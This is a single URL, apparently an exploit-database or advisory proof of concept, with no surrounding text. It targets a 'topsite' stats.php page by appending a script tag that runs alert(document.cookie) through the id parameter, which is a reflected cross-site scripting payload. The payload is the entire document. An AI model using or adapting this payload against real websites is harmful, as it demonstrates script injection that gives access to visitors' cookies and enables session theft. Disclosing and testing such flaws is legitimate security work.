http://www.example.com/topsite/stats.php?id=1<script>alert(document.cookie)</script>